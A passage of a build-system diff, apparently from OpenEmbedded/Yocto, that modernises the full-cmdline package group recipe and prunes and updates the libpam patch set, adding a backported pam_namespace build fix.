+++ b/meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb
@@ -4,13 +4,11 @@
SUMMARY = "Standard full-featured Linux system"
DESCRIPTION = "Package group bringing in packages needed for a more traditional full-featured Linux system"
-PR = "r6"
inherit packagegroup
PACKAGES = "\
packagegroup-core-full-cmdline \
- packagegroup-core-full-cmdline-libs \
packagegroup-core-full-cmdline-utils \
packagegroup-core-full-cmdline-extended \
packagegroup-core-full-cmdline-dev-utils \
@@ -19,44 +17,7 @@ PACKAGES = "\
packagegroup-core-full-cmdline-sys-services \
"
-python __anonymous () {
- # For backwards compatibility after rename
- namemap = {}
- namemap["packagegroup-core-full-cmdline"] = "packagegroup-core-basic"
- namemap["packagegroup-core-full-cmdline-libs"] = "packagegroup-core-basic-libs"
- namemap["packagegroup-core-full-cmdline-utils"] = "packagegroup-core-basic-utils"
- namemap["packagegroup-core-full-cmdline-extended"] = "packagegroup-core-basic-extended"
- namemap["packagegroup-core-full-cmdline-dev-utils"] = "packagegroup-core-dev-utils"
- namemap["packagegroup-core-full-cmdline-multiuser"] = "packagegroup-core-multiuser"
- namemap["packagegroup-core-full-cmdline-initscripts"] = "packagegroup-core-initscripts"
- namemap["packagegroup-core-full-cmdline-sys-services"] = "packagegroup-core-sys-services"
-
- packages = d.getVar("PACKAGES").split()
- mlprefix = d.getVar("MLPREFIX")
- for pkg in packages:
- pkg2 = pkg[len(mlprefix):]
- if pkg.endswith('-dev'):
- mapped = namemap.get(pkg2[:-4], None)
- if mapped:
- mapped += '-dev'
- elif pkg.endswith('-dbg'):
- mapped = namemap.get(pkg2[:-4], None)
- if mapped:
- mapped += '-dbg'
- else:
- mapped = namemap.get(pkg2, None)
-
- if mapped:
- oldtaskname = mapped.replace("packagegroup-core", "task-core")
- mapstr = " %s%s %s%s" % (mlprefix, mapped, mlprefix, oldtaskname)
- d.appendVar("RPROVIDES_%s" % pkg, mapstr)
- d.appendVar("RREPLACES_%s" % pkg, mapstr)
- d.appendVar("RCONFLICTS_%s" % pkg, mapstr)
-}
-
-
-RDEPENDS_packagegroup-core-full-cmdline = "\
- packagegroup-core-full-cmdline-libs \
+RDEPENDS:packagegroup-core-full-cmdline = "\
packagegroup-core-full-cmdline-utils \
packagegroup-core-full-cmdline-extended \
packagegroup-core-full-cmdline-dev-utils \
@@ -65,11 +26,7 @@ RDEPENDS_packagegroup-core-full-cmdline = "\
packagegroup-core-full-cmdline-sys-services \
"
-RDEPENDS_packagegroup-core-full-cmdline-libs = "\
- glib-2.0 \
- "
-
-RDEPENDS_packagegroup-core-full-cmdline-utils = "\
+RDEPENDS:packagegroup-core-full-cmdline-utils = "\
bash \
acl \
attr \
@@ -81,12 +38,11 @@ RDEPENDS_packagegroup-core-full-cmdline-utils = "\
file \
findutils \
gawk \
- gmp \
grep \
less \
makedevs \
mc \
- mc-fish \
+ mc-shell \
mc-helpers \
mc-helpers-perl \
ncurses \
@@ -99,7 +55,7 @@ RDEPENDS_packagegroup-core-full-cmdline-utils = "\
util-linux \
"
-RDEPENDS_packagegroup-core-full-cmdline-extended = "\
+RDEPENDS:packagegroup-core-full-cmdline-extended = "\
iproute2 \
iputils \
iptables \
@@ -107,7 +63,7 @@ RDEPENDS_packagegroup-core-full-cmdline-extended = "\
openssl \
"
-RDEPENDS_packagegroup-core-full-cmdline-dev-utils = "\
+RDEPENDS:packagegroup-core-full-cmdline-dev-utils = "\
diffutils \
m4 \
make \
@@ -115,7 +71,7 @@ RDEPENDS_packagegroup-core-full-cmdline-dev-utils = "\
"
VIRTUAL-RUNTIME_syslog ?= "sysklogd"
-RDEPENDS_packagegroup-core-full-cmdline-initscripts = "\
+RDEPENDS:packagegroup-core-full-cmdline-initscripts = "\
${VIRTUAL-RUNTIME_initscripts} \
${VIRTUAL-RUNTIME_init_manager} \
ethtool \
@@ -123,7 +79,7 @@ RDEPENDS_packagegroup-core-full-cmdline-initscripts = "\
${VIRTUAL-RUNTIME_syslog} \
"
-RDEPENDS_packagegroup-core-full-cmdline-multiuser = "\
+RDEPENDS:packagegroup-core-full-cmdline-multiuser = "\
bzip2 \
cracklib \
gzip \
@@ -131,7 +87,7 @@ RDEPENDS_packagegroup-core-full-cmdline-multiuser = "\
sudo \
"
-RDEPENDS_packagegroup-core-full-cmdline-sys-services = "\
+RDEPENDS:packagegroup-core-full-cmdline-sys-services = "\
at \
cronie \
logrotate \
diff --git a/meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch b/meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch
deleted file mode 100644
index c55b648139..0000000000
--- a/meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From 45d1ed58927593968faead7dbb295f3922f41a2f Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 8 Aug 2015 14:16:43 -0700
-Subject: [PATCH] Add support for defining missing funcitonality
-
-In order to support alternative libc on linux ( musl, bioninc ) etc we
-need to check for glibc-only features and provide alternatives, in this
-list strndupa is first one, when configure detects that its not included
-in system C library then the altrnative implementation from missing.h is
-used
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- configure.ac | 3 +++
- libpam/include/missing.h | 12 ++++++++++++
- modules/pam_exec/pam_exec.c | 1 +
- 3 files changed, 16 insertions(+)
- create mode 100644 libpam/include/missing.h
-
-diff --git a/configure.ac b/configure.ac
-index 9e1257f..cbed979 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -599,6 +599,9 @@ dnl
- AC_CHECK_DECL(__NR_keyctl, [have_key_syscalls=1],[have_key_syscalls=0],[#include <sys/syscall.h>])
- AC_CHECK_DECL(ENOKEY, [have_key_errors=1],[have_key_errors=0],[#include <errno.h>])
-
-+# musl and bionic don't have strndupa
-+AC_CHECK_DECLS_ONCE([strndupa])
-+
- HAVE_KEY_MANAGEMENT=0
- if test $have_key_syscalls$have_key_errors = 11
- then
-diff --git a/libpam/include/missing.h b/libpam/include/missing.h
-new file mode 100644
-index 0000000..3cf011c
---- /dev/null
-+++ b/libpam/include/missing.h
-@@ -0,0 +1,12 @@
-+#pragma once
-+
-+#if !HAVE_DECL_STRNDUPA
-+#define strndupa(s, n) \
-+ ({ \
-+ const char *__old = (s); \
-+ size_t __len = strnlen(__old, (n)); \
-+ char *__new = alloca(__len + 1); \
-+ __new[__len] = '\0'; \
-+ memcpy(__new, __old, __len); \
-+ })
-+#endif
-diff --git a/modules/pam_exec/pam_exec.c b/modules/pam_exec/pam_exec.c
-index 17ba6ca..3aa2694 100644
---- a/modules/pam_exec/pam_exec.c
-+++ b/modules/pam_exec/pam_exec.c
-@@ -59,6 +59,7 @@
- #include <security/pam_modutil.h>
- #include <security/pam_ext.h>
- #include <security/_pam_macros.h>
-+#include <missing.h>
-
- #define ENV_ITEM(n) { (n), #n }
- static struct {
---
-2.1.4
-
diff --git a/meta/recipes-extended/pam/libpam/0001-pam_namespace-include-stdint-h.patch b/meta/recipes-extended/pam/libpam/0001-pam_namespace-include-stdint-h.patch
new file mode 100644
index 0000000000..124e5f1c3c
--- /dev/null
+++ b/meta/recipes-extended/pam/libpam/0001-pam_namespace-include-stdint-h.patch
@@ -0,0 +1,42 @@
+From cc9d40b7cdbd3e15ccaa324a0dda1680ef9dea13 Mon Sep 17 00:00:00 2001
+From: Jacob Heider <jacob@pkgx.dev>
+Date: Wed, 17 Jan 2024 11:49:26 -0500
+Subject: [PATCH] pam_namespace: include stdint.h
+
+pam_namespace.c makes use of SIZE_MAX but doesn't include stdint.h,
+resulting in the following build failures on 1.6.0:
+
+ pam_namespace.c: In function 'process_line':
+ pam_namespace.c:649:41: error: 'SIZE_MAX' undeclared (first use in this function)
+ 649 | if (count > UINT_MAX || count > SIZE_MAX / sizeof(uid_t)) {
+ | ^~~~~~~~
+ pam_namespace.c:41:1: note: 'SIZE_MAX' is defined in header '<stdint.h>'; did you forget to '#include <stdint.h>'?
+ 40 | #include "argv_parse.h"
+ +++ |+#include <stdint.h>
+ 41 |
+ pam_namespace.c:649:41: note: each undeclared identifier is reported only once for each function it appears in
+ 649 | if (count > UINT_MAX || count > SIZE_MAX / sizeof(uid_t)) {
+ | ^~~~~~~~
+
+Fixes: v1.6.0~100 ("pam_namespace: validate amount of uids in config")
+Resolves: https://github.com/linux-pam/linux-pam/issues/733
+
+Upstream-Status: Backport [https://github.com/linux-pam/linux-pam/commit/cc9d40b7cdbd3e15ccaa324a0dda1680ef9dea13]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ modules/pam_namespace/pam_namespace.c | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/modules/pam_namespace/pam_namespace.c b/modules/pam_namespace/pam_namespace.c
+index f72d67189..b16731c22 100644
+--- a/modules/pam_namespace/pam_namespace.c
++++ b/modules/pam_namespace/pam_namespace.c
+@@ -34,6 +34,8 @@
+
+ #define _ATFILE_SOURCE
+
++#include "config.h"
++#include <stdint.h>
+ #include "pam_cc_compat.h"
+ #include "pam_inline.h"
+ #include "pam_namespace.h"
diff --git a/meta/recipes-extended/pam/libpam/99_pam b/meta/recipes-extended/pam/libpam/99_pam
index 97e990d10b..a88247be13 100644
--- a/meta/recipes-extended/pam/libpam/99_pam
+++ b/meta/recipes-extended/pam/libpam/99_pam
@@ -1 +1 @@
-d root root 0755 /var/run/sepermit none
+d root root 0755 /run/sepermit none
diff --git a/meta/recipes-extended/pam/libpam/crypt_configure.patch b/meta/recipes-extended/pam/libpam/crypt_configure.patch
deleted file mode 100644
index 917a8af64d..0000000000
--- a/meta/recipes-extended/pam/libpam/crypt_configure.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From b86575ab4a0df07da160283459da270e1c0372a0 Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Tue, 24 May 2016 14:11:09 +0300
-Subject: [PATCH] crypt_configure
-
-This patch fixes a case where it find crypt defined in libc (musl) but
-not in specified libraries then it ends up assigning
-LIBCRYPT="-l" which then goes into makefile cause all sort of problems
-e.g.
-
-ld: cannot find -l-m32
-| collect2: error: ld returned 1 exit status
-The reason is that -l appears on commandline with
-out any library and compiler treats the next argument as library name
-whatever it is.
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index df39d07..e68d856 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -401,7 +401,7 @@ AS_IF([test "x$ac_cv_header_xcrypt_h" = "xyes"],
- [crypt_libs="crypt"])
-
- BACKUP_LIBS=$LIBS
--AC_SEARCH_LIBS([crypt],[$crypt_libs], LIBCRYPT="${ac_lib:+-l$ac_lib}", LIBCRYPT="")
-+AC_SEARCH_LIBS([crypt],[$crypt_libs], [test "$ac_cv_search_crypt" = "none required" || LIBCRYPT="$ac_cv_search_crypt"])
- AC_CHECK_FUNCS(crypt_r crypt_gensalt_r)
- LIBS=$BACKUP_LIBS
- AC_SUBST(LIBCRYPT)
---
-2.4.0
-
diff --git a/meta/recipes-extended/pam/libpam/include_paths_header.patch b/meta/recipes-extended/pam/libpam/include_paths_header.patch
deleted file mode 100644
index e4eb95669b..0000000000
--- a/meta/recipes-extended/pam/libpam/include_paths_header.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-This patch adds missing include for paths.h which should provide
-_PATH_LASTLOG definition
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Index: Linux-PAM-1.1.6/modules/pam_lastlog/pam_lastlog.c
-===================================================================
---- Linux-PAM-1.1.6.orig/modules/pam_lastlog/pam_lastlog.c
-+++ Linux-PAM-1.1.6/modules/pam_lastlog/pam_lastlog.c
-@@ -23,9 +23,11 @@
- #include <stdarg.h>
- #include <stdio.h>
- #include <string.h>
-+#include <sys/file.h>
- #include <sys/types.h>
- #include <syslog.h>
- #include <unistd.h>
-+#include <paths.h>
-
- #if defined(hpux) || defined(sunos) || defined(solaris)
- # ifndef _PATH_LASTLOG
-@@ -332,6 +334,23 @@ last_login_read(pam_handle_t *pamh, int
- return retval;
- }
-
-+#ifndef __GLIBC__
-+static void logwtmp(const char * line, const char * name, const char * host)
-+{
-+ struct utmp u;
-+ memset(&u, 0, sizeof(u));
-+
-+ u.ut_pid = getpid();
-+ u.ut_type = name[0] ? USER_PROCESS : DEAD_PROCESS;
-+ strncpy(u.ut_line, line, sizeof(u.ut_line));
-+ strncpy(u.ut_name, name, sizeof(u.ut_name));
-+ strncpy(u.ut_host, host, sizeof(u.ut_host));
-+ gettimeofday(&(u.ut_tv), NULL);
-+
-+ updwtmp(_PATH_WTMP, &u);
-+}
-+#endif /* __GLIBC__ */
-+
- static int
- last_login_write(pam_handle_t *pamh, int announce, int last_fd,
- uid_t uid, const char *user)
-Index: Linux-PAM-1.1.6/modules/Makefile.am
-===================================================================
---- Linux-PAM-1.1.6.orig/modules/Makefile.am
-+++ Linux-PAM-1.1.6/modules/Makefile.am
-@@ -7,7 +7,7 @@ SUBDIRS = pam_access pam_cracklib pam_de
- pam_group pam_issue pam_keyinit pam_lastlog pam_limits \
- pam_listfile pam_localuser pam_loginuid pam_mail \
- pam_mkhomedir pam_motd pam_namespace pam_nologin \
-- pam_permit pam_pwhistory pam_rhosts pam_rootok pam_securetty \
-+ pam_permit pam_pwhistory pam_rootok pam_securetty \
- pam_selinux pam_sepermit pam_shells pam_stress \
- pam_succeed_if pam_tally pam_tally2 pam_time pam_timestamp \
- pam_tty_audit pam_umask \
diff --git a/meta/recipes-extended/pam/libpam/libpam-xtests.patch b/meta/recipes-extended/pam/libpam/libpam-xtests.patch
index ea145899b4..f2dafa72a5 100644
--- a/meta/recipes-extended/pam/libpam/libpam-xtests.patch
+++ b/meta/recipes-extended/pam/libpam/libpam-xtests.patch
@@ -1,13 +1,21 @@
-This patch is used to create a new sub package libpam-xtests to do more checks.
+From 060726f7e60c8ecb5bf50fd776910b290d9a0a69 Mon Sep 17 00:00:00 2001
+From: Kang Kai <kai.kang@windriver.com>
+Date: Tue, 19 Jul 2011 17:08:31 +0800
+Subject: [PATCH] This patch is used to create a new sub package libpam-xtests
+ to do more checks.
Upstream-Status: Pending
Signed-off-by: Kang Kai <kai.kang@windriver.com>
-Index: Linux-PAM-1.3.0/xtests/Makefile.am
-===================================================================
---- Linux-PAM-1.3.0.orig/xtests/Makefile.am
-+++ Linux-PAM-1.3.0/xtests/Makefile.am
-@@ -7,7 +7,7 @@ AM_CFLAGS = -DLIBPAM_COMPILE -I$(top_src
+---
+ xtests/Makefile.am | 17 ++++++++++++++++-
+ 1 file changed, 16 insertions(+), 1 deletion(-)
+
+diff --git a/xtests/Makefile.am b/xtests/Makefile.am
+index acf9746..9826c9f 100644
+--- a/xtests/Makefile.am
++++ b/xtests/Makefile.am
+@@ -8,7 +8,7 @@ AM_CFLAGS = -DLIBPAM_COMPILE -I$(top_srcdir)/libpam/include \
LDADD = $(top_builddir)/libpam/libpam.la \
$(top_builddir)/libpam_misc/libpam_misc.la
@@ -16,7 +24,7 @@ Index: Linux-PAM-1.3.0/xtests/Makefile.am
EXTRA_DIST = run-xtests.sh tst-pam_dispatch1.pamd tst-pam_dispatch2.pamd \
tst-pam_dispatch3.pamd tst-pam_dispatch4.pamd \
-@@ -51,3 +51,18 @@ EXTRA_PROGRAMS = $(XTESTS)
+@@ -55,3 +55,18 @@ EXTRA_PROGRAMS = $(XTESTS)
xtests: $(XTESTS) run-xtests.sh
"$(srcdir)"/run-xtests.sh "$(srcdir)" ${XTESTS} ${NOSRCTESTS}
diff --git a/meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch b/meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch
deleted file mode 100644
index 9b8d4c2975..0000000000
--- a/meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch
+++ /dev/null
@@ -1,203 +0,0 @@
-Description: extract the securetty logic for use with the "nullok_secure" option
- introduced in the "055_pam_unix_nullok_secure" patch.
-
-Upstream-Status: Pending
-
-Signed-off-by: Ming Liu <ming.liu@windriver.com>
-===================================================================
-Index: Linux-PAM-1.3.0/modules/pam_securetty/Makefile.am
-===================================================================
---- Linux-PAM-1.3.0.orig/modules/pam_securetty/Makefile.am
-+++ Linux-PAM-1.3.0/modules/pam_securetty/Makefile.am
-@@ -24,6 +24,10 @@ endif
- securelib_LTLIBRARIES = pam_securetty.la
- pam_securetty_la_LIBADD = $(top_builddir)/libpam/libpam.la
-
-+pam_securetty_la_SOURCES = \
-+ pam_securetty.c \
-+ tty_secure.c
-+
- if ENABLE_REGENERATE_MAN
- noinst_DATA = README
- README: pam_securetty.8.xml
-Index: Linux-PAM-1.3.0/modules/pam_securetty/pam_securetty.c
-===================================================================
---- Linux-PAM-1.3.0.orig/modules/pam_securetty/pam_securetty.c
-+++ Linux-PAM-1.3.0/modules/pam_securetty/pam_securetty.c
-@@ -1,7 +1,5 @@
- /* pam_securetty module */
-
--#define SECURETTY_FILE "/etc/securetty"
--#define TTY_PREFIX "/dev/"
- #define CMDLINE_FILE "/proc/cmdline"
- #define CONSOLEACTIVE_FILE "/sys/class/tty/console/active"
-
-@@ -40,6 +38,9 @@
- #include <security/pam_modutil.h>
- #include <security/pam_ext.h>
-
-+extern int _pammodutil_tty_secure(const pam_handle_t *pamh,
-+ const char *uttyname);
-+
- #define PAM_DEBUG_ARG 0x0001
- #define PAM_NOCONSOLE_ARG 0x0002
-
-@@ -73,11 +74,7 @@ securetty_perform_check (pam_handle_t *p
- const char *username;
- const char *uttyname;
- const void *void_uttyname;
-- char ttyfileline[256];
-- char ptname[256];
-- struct stat ttyfileinfo;
- struct passwd *user_pwd;
-- FILE *ttyfile;
-
- /* log a trail for debugging */
- if (ctrl & PAM_DEBUG_ARG) {
-@@ -105,50 +102,7 @@ securetty_perform_check (pam_handle_t *p
- return PAM_SERVICE_ERR;
- }
-
-- /* The PAM_TTY item may be prefixed with "/dev/" - skip that */
-- if (strncmp(TTY_PREFIX, uttyname, sizeof(TTY_PREFIX)-1) == 0) {
-- uttyname += sizeof(TTY_PREFIX)-1;
-- }
--
-- if (stat(SECURETTY_FILE, &ttyfileinfo)) {
-- pam_syslog(pamh, LOG_NOTICE, "Couldn't open %s: %m", SECURETTY_FILE);
-- return PAM_SUCCESS; /* for compatibility with old securetty handling,
-- this needs to succeed. But we still log the
-- error. */
-- }
--
-- if ((ttyfileinfo.st_mode & S_IWOTH) || !S_ISREG(ttyfileinfo.st_mode)) {
-- /* If the file is world writable or is not a
-- normal file, return error */
-- pam_syslog(pamh, LOG_ERR,
-- "%s is either world writable or not a normal file",
-- SECURETTY_FILE);
-- return PAM_AUTH_ERR;
-- }
--
-- ttyfile = fopen(SECURETTY_FILE,"r");
-- if (ttyfile == NULL) { /* Check that we opened it successfully */
-- pam_syslog(pamh, LOG_ERR, "Error opening %s: %m", SECURETTY_FILE);
-- return PAM_SERVICE_ERR;
-- }
--
-- if (isdigit(uttyname[0])) {
-- snprintf(ptname, sizeof(ptname), "pts/%s", uttyname);
-- } else {
-- ptname[0] = '\0';
-- }
--
-- retval = 1;
--
-- while ((fgets(ttyfileline, sizeof(ttyfileline)-1, ttyfile) != NULL)
-- && retval) {
-- if (ttyfileline[strlen(ttyfileline) - 1] == '\n')
-- ttyfileline[strlen(ttyfileline) - 1] = '\0';
--
-- retval = ( strcmp(ttyfileline, uttyname)
-- && (!ptname[0] || strcmp(ptname, uttyname)) );
-- }
-- fclose(ttyfile);
-+ retval = _pammodutil_tty_secure(pamh, uttyname);
-
- if (retval && !(ctrl & PAM_NOCONSOLE_ARG)) {
- FILE *cmdlinefile;
-Index: Linux-PAM-1.3.0/modules/pam_securetty/tty_secure.c
-===================================================================
---- /dev/null
-+++ Linux-PAM-1.3.0/modules/pam_securetty/tty_secure.c
-@@ -0,0 +1,90 @@
-+/*
-+ * A function to determine if a particular line is in /etc/securetty
-+ */
-+
-+
-+#define SECURETTY_FILE "/etc/securetty"
-+#define TTY_PREFIX "/dev/"
-+
-+/* This function taken out of pam_securetty by Sam Hartman
-+ * <hartmans@debian.org>*/
-+/*
-+ * by Elliot Lee <sopwith@redhat.com>, Red Hat Software.
-+ * July 25, 1996.
-+ * Slight modifications AGM. 1996/12/3
-+ */
-+
-+#include <unistd.h>
-+#include <sys/types.h>
-+#include <sys/stat.h>
-+#include <security/pam_modules.h>
-+#include <stdarg.h>
-+#include <syslog.h>
-+#include <sys/syslog.h>
-+#include <stdio.h>
-+#include <string.h>
-+#include <stdlib.h>
-+#include <ctype.h>
-+#include <security/pam_modutil.h>
-+#include <security/pam_ext.h>
-+
-+extern int _pammodutil_tty_secure(const pam_handle_t *pamh,
-+ const char *uttyname);
-+
-+int _pammodutil_tty_secure(const pam_handle_t *pamh, const char *uttyname)
-+{
-+ int retval = PAM_AUTH_ERR;
-+ char ttyfileline[256];
-+ char ptname[256];
-+ struct stat ttyfileinfo;
-+ FILE *ttyfile;
-+ /* The PAM_TTY item may be prefixed with "/dev/" - skip that */
-+ if (strncmp(TTY_PREFIX, uttyname, sizeof(TTY_PREFIX)-1) == 0)
-+ uttyname += sizeof(TTY_PREFIX)-1;
-+
-+ if (stat(SECURETTY_FILE, &ttyfileinfo)) {
-+ pam_syslog(pamh, LOG_NOTICE, "Couldn't open %s: %m",
-+ SECURETTY_FILE);
-+ return PAM_SUCCESS; /* for compatibility with old securetty handling,
-+ this needs to succeed. But we still log the
-+ error. */
-+ }
-+
-+ if ((ttyfileinfo.st_mode & S_IWOTH) || !S_ISREG(ttyfileinfo.st_mode)) {
-+ /* If the file is world writable or is not a
-+ normal file, return error */
-+ pam_syslog(pamh, LOG_ERR,
-+ "%s is either world writable or not a normal file",
-+ SECURETTY_FILE);
-+ return PAM_AUTH_ERR;
-+ }
-+
-+ ttyfile = fopen(SECURETTY_FILE,"r");
-+ if(ttyfile == NULL) { /* Check that we opened it successfully */
-+ pam_syslog(pamh, LOG_ERR, "Error opening %s: %m", SECURETTY_FILE);
-+ return PAM_SERVICE_ERR;
-+ }
-+
-+ if (isdigit(uttyname[0])) {
-+ snprintf(ptname, sizeof(ptname), "pts/%s", uttyname);
-+ } else {
-+ ptname[0] = '\0';
-+ }
-+
-+ retval = 1;
-+
-+ while ((fgets(ttyfileline,sizeof(ttyfileline)-1, ttyfile) != NULL)
-+ && retval) {
-+ if(ttyfileline[strlen(ttyfileline) - 1] == '\n')
-+ ttyfileline[strlen(ttyfileline) - 1] = '\0';
-+ retval = ( strcmp(ttyfileline,uttyname)
-+ && (!ptname[0] || strcmp(ptname, uttyname)) );
-+ }
-+ fclose(ttyfile);
-+
-+ if(retval) {
-+ retval = PAM_AUTH_ERR;
-+ }
-+
-+ return retval;
-+}
diff --git a/meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch b/meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch
deleted file mode 100644
index d2cc66882e..0000000000
--- a/meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch
+++ /dev/null
@@ -1,195 +0,0 @@
-From b6545b83f94c5fb7aec1478b8d458a1393f479c8 Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Wed, 25 May 2016 14:12:25 +0300
-Subject: [PATCH] pam_unix: support 'nullok_secure' option
-
-Debian patch to add a new 'nullok_secure' option to pam_unix,
-which accepts users with null passwords only when the applicant is
-connected from a tty listed in /etc/securetty.
-
-Authors: Sam Hartman <hartmans@debian.org>,
- Steve Langasek <vorlon@debian.org>
-
-Upstream-Status: Pending
-
-Signed-off-by: Ming Liu <ming.liu@windriver.com>
-Signed-off-by: Amarnath Valluri <amarnath.valluri@intel.com>
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
----
- modules/pam_unix/Makefile.am | 3 ++-
- modules/pam_unix/pam_unix.8.xml | 19 ++++++++++++++++++-
- modules/pam_unix/support.c | 40 +++++++++++++++++++++++++++++++++++-----
- modules/pam_unix/support.h | 8 ++++++--
- 4 files changed, 61 insertions(+), 9 deletions(-)
-
-diff --git a/modules/pam_unix/Makefile.am b/modules/pam_unix/Makefile.am
-index 56df178..2bba460 100644
---- a/modules/pam_unix/Makefile.am
-+++ b/modules/pam_unix/Makefile.am
-@@ -30,7 +30,8 @@ if HAVE_VERSIONING
- pam_unix_la_LDFLAGS += -Wl,--version-script=$(srcdir)/../modules.map
- endif
- pam_unix_la_LIBADD = $(top_builddir)/libpam/libpam.la \
-- @LIBCRYPT@ @LIBSELINUX@ @TIRPC_LIBS@ @NSL_LIBS@
-+ @LIBCRYPT@ @LIBSELINUX@ @TIRPC_LIBS@ @NSL_LIBS@ \
-+ ../pam_securetty/tty_secure.lo
-
- securelib_LTLIBRARIES = pam_unix.la
-
-diff --git a/modules/pam_unix/pam_unix.8.xml b/modules/pam_unix/pam_unix.8.xml
-index 1b318f1..be0330e 100644
---- a/modules/pam_unix/pam_unix.8.xml
-+++ b/modules/pam_unix/pam_unix.8.xml
-@@ -159,7 +159,24 @@
- <para>
- The default action of this module is to not permit the
- user access to a service if their official password is blank.
-- The <option>nullok</option> argument overrides this default.
-+ The <option>nullok</option> argument overrides this default
-+ and allows any user with a blank password to access the
-+ service.
-+ </para>
-+ </listitem>
-+ </varlistentry>
-+ <varlistentry>
-+ <term>
-+ <option>nullok_secure</option>
-+ </term>
-+ <listitem>
-+ <para>
-+ The default action of this module is to not permit the
-+ user access to a service if their official password is blank.
-+ The <option>nullok_secure</option> argument overrides this
-+ default and allows any user with a blank password to access
-+ the service as long as the value of PAM_TTY is set to one of
-+ the values found in /etc/securetty.
- </para>
- </listitem>
- </varlistentry>
-diff --git a/modules/pam_unix/support.c b/modules/pam_unix/support.c
-index fc8595e..29e3341 100644
---- a/modules/pam_unix/support.c
-+++ b/modules/pam_unix/support.c
-@@ -183,13 +183,22 @@ int _set_ctrl(pam_handle_t *pamh, int flags, int *remember, int *rounds,
- /* now parse the arguments to this module */
-
- for (; argc-- > 0; ++argv) {
-+ int sl;
-
- D(("pam_unix arg: %s", *argv));
-
- for (j = 0; j < UNIX_CTRLS_; ++j) {
-- if (unix_args[j].token
-- && !strncmp(*argv, unix_args[j].token, strlen(unix_args[j].token))) {
-- break;
-+ if (unix_args[j].token) {
-+ sl = strlen(unix_args[j].token);
-+ if (unix_args[j].token[sl-1] == '=') {
-+ /* exclude argument from comparison */
-+ if (!strncmp(*argv, unix_args[j].token, sl))
-+ break;
-+ } else {
-+ /* compare full strings */
-+ if (!strcmp(*argv, unix_args[j].token))
-+ break;
-+ }
- }
- }
-
-@@ -560,6 +569,7 @@ static int _unix_run_helper_binary(pam_handle_t *pamh, const char *passwd,
- if (child == 0) {
- static char *envp[] = { NULL };
- const char *args[] = { NULL, NULL, NULL, NULL };
-+ int nullok = off(UNIX__NONULL, ctrl);
-
- /* XXX - should really tidy up PAM here too */
-
-@@ -587,7 +597,16 @@ static int _unix_run_helper_binary(pam_handle_t *pamh, const char *passwd,
- /* exec binary helper */
- args[0] = CHKPWD_HELPER;
- args[1] = user;
-- if (off(UNIX__NONULL, ctrl)) { /* this means we've succeeded */
-+ if (on(UNIX_NULLOK_SECURE, ctrl)) {
-+ const void *uttyname;
-+ retval = pam_get_item(pamh, PAM_TTY, &uttyname);
-+ if (retval != PAM_SUCCESS || uttyname == NULL
-+ || _pammodutil_tty_secure(pamh, (const char *)uttyname) != PAM_SUCCESS) {
-+ nullok = 0;
-+ }
-+ }
-+
-+ if (nullok) {
- args[2]="nullok";
- } else {
- args[2]="nonull";
-@@ -672,6 +691,17 @@ _unix_blankpasswd (pam_handle_t *pamh, unsigned int ctrl, const char *name)
- if (on(UNIX__NONULL, ctrl))
- return 0; /* will fail but don't let on yet */
-
-+ if (on(UNIX_NULLOK_SECURE, ctrl)) {
-+ int retval2;
-+ const void *uttyname;
-+ retval2 = pam_get_item(pamh, PAM_TTY, &uttyname);
-+ if (retval2 != PAM_SUCCESS || uttyname == NULL)
-+ return 0;
-+
-+ if (_pammodutil_tty_secure(pamh, (const char *)uttyname) != PAM_SUCCESS)
-+ return 0;
-+ }
-+
- /* UNIX passwords area */
-
- retval = get_pwd_hash(pamh, name, &pwd, &salt);
-@@ -758,7 +788,7 @@ int _unix_verify_password(pam_handle_t * pamh, const char *name
- }
- }
- } else {
-- retval = verify_pwd_hash(p, salt, off(UNIX__NONULL, ctrl));
-+ retval = verify_pwd_hash(p, salt, _unix_blankpasswd(pamh, ctrl, name));
- }
-
- if (retval == PAM_SUCCESS) {
-diff --git a/modules/pam_unix/support.h b/modules/pam_unix/support.h
-index b4c279c..8da4a8e 100644
---- a/modules/pam_unix/support.h
-+++ b/modules/pam_unix/support.h
-@@ -98,8 +98,9 @@ typedef struct {
- #define UNIX_QUIET 28 /* Don't print informational messages */
- #define UNIX_NO_PASS_EXPIRY 29 /* Don't check for password expiration if not used for authentication */
- #define UNIX_DES 30 /* DES, default */
-+#define UNIX_NULLOK_SECURE 31 /* NULL passwords allowed only on secure ttys */
- /* -------------- */
--#define UNIX_CTRLS_ 31 /* number of ctrl arguments defined */
-+#define UNIX_CTRLS_ 32 /* number of ctrl arguments defined */
-
- #define UNIX_DES_CRYPT(ctrl) (off(UNIX_MD5_PASS,ctrl)&&off(UNIX_BIGCRYPT,ctrl)&&off(UNIX_SHA256_PASS,ctrl)&&off(UNIX_SHA512_PASS,ctrl)&&off(UNIX_BLOWFISH_PASS,ctrl))
-
